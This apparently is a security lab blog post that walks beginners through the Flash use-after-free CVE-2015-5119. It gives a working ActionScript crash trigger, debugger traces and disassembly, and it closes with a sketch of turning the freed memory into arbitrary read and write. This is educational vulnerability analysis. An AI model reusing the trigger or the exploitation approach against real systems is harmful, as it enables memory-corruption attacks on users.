CVE-2015-5119 Flash ByteArray UaF: A beginner’s walkthrough https://labs.portcullis.co.uk/blog/cve-2015-5119-flash-bytearray-uaf-a-beginners-walkthrough/ https://labs.portcullis.co.uk/blog/cve-2015-5119-flash-bytearray-uaf-a-beginners-walkthrough/#comments Thu, 24 Sep 2015 14:26:26 +0000 https://labs.portcullis.co.uk/?p=5270 This document is a written form of a workshop and presentation I gave at Portcullis Labs in late July 2015. It is a beginner’s walkthrough to understand the recent Flash bug that was discovered in Hacking Team’s pocket and given the sweet name of CVE-2015-5119. It was found and exploited by Vitaliy Toropov. Disclaimer: If […]

The post CVE-2015-5119 Flash ByteArray UaF: A beginner’s walkthrough appeared first on Portcullis Labs.

]]>
This document is a written form of a workshop and presentation I gave at Portcullis Labs in late July 2015. It is a beginner’s walkthrough to understand the recent Flash bug that was discovered in Hacking Team’s pocket and given the sweet name of CVE-2015-5119. It was found and exploited by Vitaliy Toropov.

Disclaimer: If you are already a confirmed reverse engineer xor a debugging ninja, this document is not for you, go hack something else :-).

As a beginner software bug analysis is not a very easy task. It requires a fair amount of experience that you can only get with motivation, time, perseverance and someone to kick your but when you start to be discouraged. One may find easier to work on example codes, made-up proof of concept and other challenges. This is true as it surely helps to quickly understand some concepts but if you are willing to spend some time I suggest you’d rather work on real bugs. This way you will dive into one specific software product, you will start to understand its internals and eventually find your own bugs. Also, you will get that extra little feeling of compl33tness and the beloved one will eventually come back.

In this article we will first start to reverse engineer the function that crashes. We will then dig around it to understand the circumstances of the crash. This will be done by recreating step by step the different pieces needed to produce the final proof of concept. Lastly, we will finish by identifying where the allocation and the freeing of the faulty memory block is performed.

Prerequisites

You first need to download a vulnerable version of Flash. I suggest to use Flash player rather than the plugin version. It is much easier to debug. Try to find version 18_0.0.160 if you want to match my binary analysis. Additionally you can download or browse the AVM+ avmplus source code.

Obviously you need a debugger. Pick up the one of your choice, there are plenty of excellent free ones: Windbg, Ollydbg2, ImmunityDbg, x64dbg. My assembly samples have been produced with IDA Pro. Only using a debugger is enough and you don’t really need a disassember but you can always try the demonstration version of IDA Pro or Hopper on Unix.

In addition, download the walkthrough sample archive.

Lastly a fair knowledge of x86 assembly and object programming is desired. Grab a good cup of excellent tea. Or coffee if you are one of those.

The crash

Enough of the boring verbiage, let’s start. Observe the following Flash Action Script code.

ba = new ByteArray();
ba.length = 0x01000000;

o = new Object();
o.valueOf = function()
{
    ba.clear();
    return 0x41414141;
}

ba[0x42424242] = o

At first you can see that a new Byte Array is being initialised with the size of 0×01000000 bytes. There is a reason why the size is this big and we will get to it later. Right after a new object is created and its valueOf method is being overloaded with some custom code. The object is then assigned in the byte array object at offset 0×42424242.

Open Flash player and open the 0_poc.swf sample file. Attach your debugger. I will use Windbg for this paper but use the one of your choice. Then click on the Trigger button and observe the following crash.

Output from Windbg:

(7ec.e28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=045acfa9 ecx=0458de07 edx=00000007 esi=49d94242 edi=01163810
eip=01898e8d esp=0015e71c ebp=0015e790 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad:
01898e8d 8806            mov     byte ptr [esi],al          ds:002b:49d94242=??

As you can see, Flash is trying to assign a byte at ESI at a memory location that is not mapped in memory. The value of EAX is 0×41414141.

If you want to use a disassembler, jump to the faulting instruction. Beware of address space layout randomization (ASLR). You need to compute the correct address. This is easily done by subtracting the desired address with the start address of the loaded module and then add the base address of the module. You can get the start address with Windbg using the following command:

0:000> lm m flashplayer_18_0_0_160
start    end        module name
012a0000 01fd3000   flashplayer_18_0_0_160   (export symbols)       C:\Users\user\Desktop\Flash\flashplayer_18_0.0.160.exe

You can get the base address of the module from IDA Pro running the following Python command:

Python>hex(idaapi.get_imagebase())
0x400000

Jump at 0x009f8e8d (0x01898e8d – 0x012a0000 + 0×400000) and observe the following function.

.text:009F8E70 sub_9F8E70      proc near
.text:009F8E70
.text:009F8E70 arg_0           = dword ptr  4
.text:009F8E70 arg_4           = dword ptr  8
.text:009F8E70
.text:009F8E70                 mov     eax, [esp+arg_0]
.text:009F8E74                 push    esi
.text:009F8E75                 push    eax
.text:009F8E76                 add     ecx, 18h
.text:009F8E79                 call    sub_9F8AF0
.text:009F8E7E                 mov     ecx, [esp+4+arg_4]
.text:009F8E82                 push    ecx
.text:009F8E83                 mov     esi, eax
.text:009F8E85                 call    sub_9E0170
.text:009F8E8A                 add     esp, 4
.text:009F8E8D                 mov     [esi], al              ; Crashes here.
.text:009F8E8F                 pop     esi
.text:009F8E90                 retn    8
.text:009F8E90 sub_9F8E70      endp

The function takes two arguments. Then two functions are called. The first argument of the sub_9F8AF0() function is the same argument as the sub_9F8E70() function. The returned value is saved in the ESI register, remember, where the crash occurs. The value being saved is the return value of the second function. The argument of the second function sub_9E0170() is the second argument of the sub_9F8E70() function.

Let’s restart Flash and break in sub_9F8E70(): start address + 0x09F8E70 – 0×400000.

0:007> ba e1 flashplayer_18_0_0_160+0x5f8e70
0:007> g
SetContext failed, 0x80070005
MachineInfo::SetContext failed - Thread: 001ABAE0  Handle: 2cc  Id: 27c - Error == 0x80070005
Breakpoint 0 hit
eax=42424242 ebx=038e03f9 ecx=038e03f8 edx=01908e70 esi=045c42f8 edi=00fc3810
eip=01908e70 esp=0041eb20 ebp=0041eb90 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9890:
01908e70 8b442404        mov     eax,dword ptr [esp+4] ss:002b:0041eb24=42424242

The first argument is 0×42424242. Remember the Action Script code, this is our byte array index. Let’s step now until the first function returns.

0:000> p
SetContext failed, 0x80070005
MachineInfo::SetContext failed - Thread: 001ABE40  Handle: 3c0  Id: 114c - Error == 0x80070005
SetContext failed, 0x80070005
MachineInfo::SetContext failed - Thread: 001ABAE0  Handle: 2cc  Id: fac - Error == 0x80070005
eax=49d94242 ebx=038e03f9 ecx=038e0434 edx=00000000 esi=045c42f8 edi=00fc3810
eip=01908e7e esp=0041eb1c ebp=0041eb90 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c989e:
01908e7e 8b4c240c        mov     ecx,dword ptr [esp+0Ch] ss:002b:0041eb28=e97f6304
0:000> dd eax
49d94242  00000000 00000000 00000000 00000000
49d94252  00000000 00000000 00000000 00000000
49d94262  00000000 00000000 00000000 00000000
49d94272  00000000 00000000 00000000 00000000
49d94282  00000000 00000000 00000000 00000000
49d94292  00000000 00000000 00000000 00000000
49d942a2  00000000 00000000 00000000 00000000
49d942b2  00000000 00000000 00000000 00000000

The function returns a pointer and we can see the address pointed is mapped. Let’s see what the second function returns.

0:000> p
eax=49d94242 ebx=038e03f9 ecx=04637fe9 edx=00000000 esi=49d94242 edi=00fc3810
eip=01908e85 esp=0041eb18 ebp=0041eb90 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98a5:
01908e85 e8e672feff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90 (018f0170)
0:000> dd 04637fe9 L4
04637fe9  0201c03d 60000000 000449f1 f9044854
0:000> p
eax=41414141 ebx=038e03f9 ecx=00eacf07 edx=00000007 esi=49d94242 edi=00fc3810
eip=01908e8a esp=0041eb18 ebp=0041eb90 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98aa:
01908e8a 83c404          add     esp,4

The first argument of the sub_9E0170() function is being saved in the ECX register. It seems to be a pointer. The return value of the function is 0×41414141. Remember again, the returned value of the overloaded valueOf method.

Stepping until the instruction that crashes shows that the memory address 0x49d94242 is not mapped anymore.

0:000> p
eax=41414141 ebx=038e03f9 ecx=00eacf07 edx=00000007 esi=49d94242 edi=00fc3810
eip=01908e8d esp=0041eb1c ebp=0041eb90 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad:
01908e8d 8806            mov     byte ptr [esi],al          ds:002b:49d94242=??
0:000> dd esi
49d94242  ???????? ???????? ???????? ????????
49d94252  ???????? ???????? ???????? ????????
49d94262  ???????? ???????? ???????? ????????
49d94272  ???????? ???????? ???????? ????????
49d94282  ???????? ???????? ???????? ????????
49d94292  ???????? ???????? ???????? ????????
49d942a2  ???????? ???????? ???????? ????????
49d942b2  ???????? ???????? ???????? ????????

The devil is in the sub_9E0170() function.

Understanding AvmCore::integer

It is clear now that the function that crashes is the one responsible for assigning a byte to an element of the array.  We usually never really need the source code when debugging a crash but it surely ease the work. A quick look at the ByteArray source code gives us the function symbols:

void ByteArrayObject::setUintProperty(uint32_t i, Atom value)
{
    m_byteArray[i] = uint8_t(AvmCore::integer(value));
}

We can set ourselves the symbols in the disassembler.

.text:009F8E70 ByteArrayObject__setUintProperty proc near
.text:009F8E70
.text:009F8E70 index           = dword ptr  4
.text:009F8E70 atom            = dword ptr  8
.text:009F8E70
.text:009F8E70                 mov     eax, [esp+index]           ; The index in the array
.text:009F8E74                 push    esi
.text:009F8E75                 push    eax
.text:009F8E76                 add     ecx, 18h
.text:009F8E79                 call    ByteArray_operator_bracket ; Return the memory address of array+index.
.text:009F8E7E                 mov     ecx, [esp+4+atom]
.text:009F8E82                 push    ecx
.text:009F8E83                 mov     esi, eax
.text:009F8E85                 call    AvmCore_integer
.text:009F8E8A                 add     esp, 4
.text:009F8E8D                 mov     [esi], al                  ; Set the byte at array+index.
.text:009F8E8F                 pop     esi
.text:009F8E90                 retn    8
.text:009F8E90 ByteArrayObject__setUintProperty endp

The way the ByteArray_operator_bracket() function works is not needed here. The fun is happening in the AvmCore_integer() function. The source code of this function can be found here. I have populated the disassembler with the new known symbols.

.text:009E0170 AvmCore_integer proc near
.text:009E0170
.text:009E0170
.text:009E0170 var_8           = qword ptr -8
.text:009E0170 atom            = dword ptr  4
.text:009E0170
.text:009E0170                 mov     eax, [esp+atom]
.text:009E0174                 mov     ecx, eax
.text:009E0176                 and     ecx, 7
.text:009E0179                 cmp     ecx, 6                       ; Check the atom's kind.
.text:009E017C                 jnz     short convert_the_object
.text:009E017E
.text:009E017E return_the_value:
.text:009E017E                 sar     eax, 3
.text:009E0181                 retn
.text:009E0182
.text:009E0182 convert_the_object:
.text:009E0182                 cmp     ecx, 5
.text:009E0185                 jz      short return_the_value
.text:009E0187                 push    eax
.text:009E0188                 call    number
.text:009E018D                 push    ecx
.text:009E018E                 fstp    [esp+8+var_8]
.text:009E0191                 call    integer_d
.text:009E0196                 add     esp, 8
.text:009E0199                 retn
.text:009E0199 AvmCore_integer endp

The argument of this function is an atom. If the object is an integer, its value is returned. Otherwise the number() function is called on the atom.

Let’s verify this by seeing how the following ActionScript is being executed:

ba = new ByteArray();
ba.length = 0x01000000;

ba[0] = 0x41;

Open the 1_simplebyte.swf with Flash player, attach your debugger, set your breakpoints and break at the AvmCore_integer() function.

eax=068a0000 ebx=0109ecb0 ecx=039e9434 edx=00748e70 esi=03b132f8 edi=039e93f8
eip=00748e7e esp=0109eb9c ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c989e:
00748e7e 8b4c240c        mov     ecx,dword ptr [esp+0Ch] ss:002b:0109eba8=0e020000
0:000>

...

eax=0000020e ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8
eip=00730179 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b99:
00730179 83f906          cmp     ecx,6

The atom’s kind is indeed an integer.

eax=0000020e ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8
eip=0073017e esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b9e:
0073017e c1f803          sar     eax,3
0:000> p
eax=00000041 ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8
eip=00730181 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0ba1:
00730181 c3              ret

and the value 0×41 is being returned. But what happens if the atom is not an integer but a simple object.

Let’s use the following code:

ba = new ByteArray();
ba.length = 0x01000000;

ba[0] = 0x41;
ba[1] = new Object();

Open the 2_simpleobject.swf and break at the second call to AvmCore_integer() where the object is being assigned.

eax=07da0001 ebx=07a7ba29 ecx=07a42fe9 edx=00748e70 esi=07da0001 edi=03a59810
eip=00730170 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90:
00730170 8b442404        mov     eax,dword ptr [esp+4] ss:002b:0109eb98=e92fa407

...

eax=07a42fe9 ebx=07a7ba29 ecx=00000001 edx=00748e70 esi=07da0001 edi=03a59810
eip=00730179 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b99:
00730179 83f906          cmp     ecx,6

...

eax=07a42fe9 ebx=07a7ba29 ecx=00000001 edx=00748e70 esi=07da0001 edi=03a59810
eip=00730188 esp=0109eb90 ebp=0109ec10 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0ba8:
00730188 e8f3e1ffff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aeda0 (0072e380)

As expected that atom’s kind is not an integer so the number() function is being called.

The number() function is mainly a loop with a switch inside.

.text:009DE380 number          proc near
.text:009DE380
.text:009DE380 atom            = dword ptr  4
.text:009DE380
.text:009DE380                 mov     eax, [esp+atom]
.text:009DE384                 mov     edx, eax
.text:009DE386                 and     edx, 7
.text:009DE389                 cmp     edx, 6                  ; Is it already a number?
.text:009DE38C                 jz      short return_the_value

...

.text:009DE3A2                 jmp     ds:off_9DE3FC[ecx*4]    ; Switch jump

If the object is already a number, its value is simply returned. Otherwise a 5 case plus default switch is encountered. Because our atom is of kind kObjectType, jump case 1 is used:

.text:009DE3B7 loc_9DE3B7:
.text:009DE3B7                 and     eax, 0FFFFFFF8h ; jumptable 009DE3A2 case 1
.text:009DE3BA                 mov     edx, [eax]
.text:009DE3BC                 mov     ecx, eax
.text:009DE3BE                 mov     eax, [edx+4Ch]
.text:009DE3C1                 call    eax             ; AvmCore::atomToScriptObject(atom)->defaultValue()

This can be verified from the debugger.

eax=07a42fe9 ebx=07a7ba29 ecx=00000000 edx=00000001 esi=07da0001 edi=03a59810
eip=0072e3a2 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedc2:
0072e3a2 ff248dfce37200  jmp     dword ptr flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aee1c (0072e3fc)[ecx*4] ds:002b:0072e3fc=b7e37200

...

eax=0074ab30 ebx=07a7ba29 ecx=07a42fe8 edx=00a43de0 esi=07da0001 edi=03a59810
eip=0072e3c1 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede1:
0072e3c1 ffd0            call    eax {flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1cb550 (0074ab30)}
0:000> p
eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=02f65000 esi=07da0001 edi=03a59810
eip=0072e3c3 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede3:
0072e3c3 8bd0            mov     edx,eax

This function returns an object and we loop once more if the returned object is not a number as seen below:

eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=00000002 esi=07da0001 edi=03a59810
eip=0072e3c8 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede8:
0072e3c8 83fa06          cmp     edx,6
0:000> t
eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=00000002 esi=07da0001 edi=03a59810
eip=0072e3cb esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedeb:
0072e3cb 75c3            jne     flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedb0 (0072e390) [br=1]

Ultimately zero is returned.

Now let’s consider the following piece of code:

ba = new ByteArray();
ba.length = 0x01000000;

ba[0] = 0x41;
o = new Object();

o.valueOf = function()
{
    return 0x42;
}

ba[1] = o;

We have now overloaded the valueOf() method with an ActionScript function to make it to return 0×42. Open the 3_object_withvalueOf.swf file and break at the second call to the number() function. Step through until the call to the AvmCore::atomToScriptObject(atom)->defaultValue() function.

eax=014aab30 ebx=0393d3f9 ecx=031a94f0 edx=017a3de0 esi=06860001 edi=03124810
eip=0148e3c1 esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede1:
0148e3c1 ffd0            call    eax {flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1cb550 (014aab30)}
0:000> p
eax=00000216 ebx=0393d3f9 ecx=00000206 edx=00280000 esi=06860001 edi=03124810
eip=0148e3c3 esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede3:
0148e3c3 8bd0            mov     edx,eax

...

eax=00000216 ebx=0393d3f9 ecx=00000206 edx=00000006 esi=06860001 edi=03124810
eip=0148e3cd esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aeded:
0148e3cd c1f803          sar     eax,3
0:000> t
eax=00000042 ebx=0393d3f9 ecx=00000206 edx=00000006 esi=06860001 edi=03124810
eip=0148e3d0 esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedf0:
0148e3d0 89442404        mov     dword ptr [esp+4],eax ss:002b:0035eb50=f1941a03

You can observe that the returned object is now an integer of value 0×42 as expected.

Allocation of the byte array.

Remember the byte array being initialised with a size of 0×01000000 bytes? The reason is that the VirtualAlloc() function is going to make the allocation and not the custom allocator for the purposes of a proof of concept. Fire up again the 0_poc.swf file and set a break point at VirtuallAlloc().

0:007> bp kernel32!VirtualAlloc
*** Unable to resolve unqualified symbol in Bp expression 'fastMalloc'.
0:007> ba e1 flashplayer_18_0_0_160+0x5f8e70
0:007> g

Click on the Trigger button and wait for the breakpoint to be hit.

Breakpoint 0 hit
eax=01000000 ebx=01000000 ecx=00000000 edx=00000000 esi=00d90058 edi=00001000
eip=74d8182f esp=0021e868 ebp=0021e8da iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
kernel32!VirtualAlloc:
*** Unable to resolve unqualified symbol in Bp expression 'fastMalloc'.
74d8182f ff250809d874    jmp     dword ptr [kernel32!_imp__VirtualAlloc (74d80908)] ds:002b:74d80908={KERNELBASE!VirtualAlloc (7548f002)}
0:000> t
eax=01000000 ebx=01000000 ecx=00000000 edx=00000000 esi=00d90058 edi=00001000
eip=7548f002 esp=0021e868 ebp=0021e8da iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
KERNELBASE!VirtualAlloc:
7548f002 8bff            mov     edi,edi
0:000> gu
eax=06900000 ebx=01000000 ecx=150a0000 edx=000adfb8 esi=00d90058 edi=00001000
eip=008af347 esp=0021e87c ebp=0021e8da iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x13fd67:
008af347 c3              ret

As you can see a block of 0×01000000 bytes is being allocated. Observe the allocation is done twice. The reason is that the block is not committed in the first call but both calls return the same address.

Now just add a new breakpoint on the AvmCore_Integer() function. Step over the ByteArray_operator_bracket() function. A new allocation is made.

0:000> ba e1 flashplayer_18_0_0_160+0x5f8e85
eax=42424242 ebx=04370ef9 ecx=04370f10 edx=01238e70 esi=044642f8 edi=03223810
eip=01238e79 esp=002fe898 ebp=002fe910 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9899:
01238e79 e872fcffff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9510 (01238af0)
0:000> g
Breakpoint 0 hit
eax=42425000 ebx=42425000 ecx=00000000 edx=00000000 esi=01690058 edi=00042425
eip=74d8182f esp=002fe70c ebp=002fe77e iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
kernel32!VirtualAlloc:
74d8182f ff250809d874    jmp     dword ptr [kernel32!_imp__VirtualAlloc (74d80908)] ds:002b:74d80908={KERNELBASE!VirtualAlloc (7548f002)}
0:000> t
eax=42425000 ebx=42425000 ecx=00000000 edx=00000000 esi=01690058 edi=00042425
eip=7548f002 esp=002fe70c ebp=002fe77e iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
KERNELBASE!VirtualAlloc:
7548f002 8bff            mov     edi,edi
0:000> gu
eax=077a0000 ebx=42425000 ecx=3b7e0000 edx=000ae308 esi=01690058 edi=00042425
eip=011af347 esp=002fe720 ebp=002fe77e iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x13fd67:
011af347 c3              ret

Indeed index 0×42424242 is too big for the 0×01000000 array, it needs to allocate a larger block. This time the desired size is 0×42425000 bytes and the block starts at address 0x077a0000.

0:000> dd 077a0000
077a0000  00000000 00000000 00000000 00000000
077a0010  00000000 00000000 00000000 00000000
077a0020  00000000 00000000 00000000 00000000
077a0030  00000000 00000000 00000000 00000000
077a0040  00000000 00000000 00000000 00000000
077a0050  00000000 00000000 00000000 00000000
077a0060  00000000 00000000 00000000 00000000
077a0070  00000000 00000000 00000000 00000000

Freeing the byte array.

Break just before the AvmCore_Integer() function is called. Set a new breakpoint on the VirtualFree() function. Observe it’s being hit before AvmCore_Integer() returns 0×41414141.

Breakpoint 2 hit
eax=49bc4242 ebx=04370ef9 ecx=032a94f1 edx=00000000 esi=49bc4242 edi=03223810
eip=01238e85 esp=002fe898 ebp=002fe910 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98a5:
01238e85 e8e672feff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90 (01220170)
0:000> bp kernel32!VirtualFree
0:000> g
Breakpoint 4 hit
eax=077a0000 ebx=74d81401 ecx=42425000 edx=077a0000 esi=01690058 edi=030f4078
eip=74d81847 esp=002fe64c ebp=01690934 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
kernel32!VirtualFree:
74d81847 ff251009d874    jmp     dword ptr [kernel32!_imp__VirtualFree (74d80910)] ds:002b:74d80910={KERNELBASE!VirtualFree (7548ef47)}

This is because of ba.clear(). Indeed the memory at 0x077a0000 is not allocated anymore and Flash crashes.

0:000> dd 077a0000
077a0000  ???????? ???????? ???????? ????????
077a0010  ???????? ???????? ???????? ????????
077a0020  ???????? ???????? ???????? ????????
077a0030  ???????? ???????? ???????? ????????
077a0040  ???????? ???????? ???????? ????????
077a0050  ???????? ???????? ???????? ????????
077a0060  ???????? ???????? ???????? ????????
077a0070  ???????? ???????? ???????? ????????
0:000> g
(ef8.8a8): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=04370ef9 ecx=0576ca07 edx=00000007 esi=49bc4242 edi=03223810
eip=01238e8d esp=002fe89c ebp=002fe910 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad:
01238e8d 8806            mov     byte ptr [esi],al          ds:002b:49bc4242=??

Conclusion

In order to exploit this vulnerability, before the patch was applied, you had to overwrite the freed location with a vector object and then overwrite the length value of the vector object. This way it is possible to read and write anywhere in the process memory.

To conclude, exploiting vulnerabilities is the most enjoyable part for most of us but understanding a bug is a mandatory step to go further. Not only will it train you to be better at reversing code but it will help you to write more stable exploits. It is sad in a way that for this bug most of the people just ripped of the original exploit to simply replace it with their own shellcodes.

The post CVE-2015-5119 Flash ByteArray UaF: A beginner’s walkthrough appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/cve-2015-5119-flash-bytearray-uaf-a-beginners-walkthrough/feed/ 0